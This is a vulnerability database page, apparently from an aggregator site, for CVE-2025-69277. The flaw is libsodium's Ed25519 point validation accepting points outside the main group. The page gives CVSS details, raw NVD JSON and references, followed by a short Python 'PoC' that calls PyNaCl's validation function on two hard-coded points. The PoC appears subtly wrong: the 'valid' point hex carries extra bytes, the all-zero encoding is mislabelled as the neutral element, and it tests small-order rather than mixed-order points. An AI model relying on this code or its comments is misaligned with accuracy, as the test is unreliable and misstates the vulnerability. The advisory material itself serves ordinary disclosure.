Security Vulnerability Report
中文
CVE-2025-69277 CVSS 4.5 MEDIUM

CVE-2025-69277

Published: 2025-12-31 06:15:42
Last Modified: 2026-04-15 00:35:42

Description

libsodium before ad3004e, in atypical use cases involving certain custom cryptography or untrusted data to crypto_core_ed25519_is_valid_point, mishandles checks for whether an elliptic curve point is valid because it sometimes allows points that aren't in the main cryptographic group.

CVSS Details

CVSS Score
4.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

libsodium < ad3004e
PyNaCl (依赖libsodium,受间接影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-69277 PoC - libsodium crypto_core_ed25519_is_valid_point bypass # This PoC demonstrates the validation issue with invalid curve points from nacl.bindings import crypto_core_ed25519_is_valid_point import nacl.exceptions def test_point_validation(): """ Test cases for Ed25519 point validation vulnerability. The vulnerable version may incorrectly accept points not in the main group. """ # Valid point (generator point in compressed format) # This should always be accepted valid_point = bytes.fromhex( '5866666666666666666666666666666666666666666666666666666666666666c0' ) # Small order point example (may be incorrectly accepted in vulnerable version) # This is a point with small order, not in the main cryptographic group small_order_point = bytes.fromhex( '0000000000000000000000000000000000000000000000000000000000000000' ) print("Testing libsodium crypto_core_ed25519_is_valid_point...") # Test 1: Valid point should be accepted try: result1 = crypto_core_ed25519_is_valid_point(valid_point) print(f"Valid point test: {'PASS' if result1 else 'FAIL'}") except Exception as e: print(f"Valid point test: ERROR - {e}") # Test 2: Zero point (neutral element) - should be rejected try: result2 = crypto_core_ed25519_is_valid_point(small_order_point) if result2: print("WARNING: Zero point incorrectly accepted (vulnerable behavior)") else: print("Zero point test: CORRECTLY REJECTED") except nacl.exceptions.CryptoError: print("Zero point test: CORRECTLY REJECTED (exception thrown)") except Exception as e: print(f"Zero point test: ERROR - {e}") if __name__ == "__main__": test_point_validation()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69277", "sourceIdentifier": "[email protected]", "published": "2025-12-31T06:15:41.513", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "libsodium before ad3004e, in atypical use cases involving certain custom cryptography or untrusted data to crypto_core_ed25519_is_valid_point, mishandles checks for whether an elliptic curve point is valid because it sometimes allows points that aren't in the main cryptographic group."}, {"lang": "es", "value": "libsodium antes de ad3004e, en casos de uso atípicos que involucran cierta criptografía personalizada o datos no confiables para crypto_core_ed25519_is_valid_point, maneja incorrectamente las comprobaciones sobre si un punto de curva elíptica es válido porque a veces permite puntos que no están en el grupo criptográfico principal."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.4, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-184"}]}], "references": [{"url": "https://00f.net/2025/12/30/libsodium-vulnerability/", "source": "[email protected]"}, {"url": "https://github.com/jedisct1/libsodium/commit/ad3004ec8731730e93fcfbbc824e67eadc1c1bae", "source": "[email protected]"}, {"url": "https://github.com/pyca/pynacl/commit/96314884d88d1089ff5f336dba61d7abbcddbbf7", "source": "[email protected]"}, {"url": "https://github.com/pyca/pynacl/commit/ecf41f55a3d8f1e10ce89c61c4b4d67f3f4467cf", "source": "[email protected]"}, {"url": "https://github.com/pyca/pynacl/issues/920", "source": "[email protected]"}, {"url": "https://ianix.com/pub/ed25519-deployment.html", "source": "[email protected]"}, {"url": "https://news.ycombinator.com/item?id=46435614", "source": "[email protected]"}, {"url": "https://lists.debian.org/debian-lts-announce/2026/01/msg00004.html", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}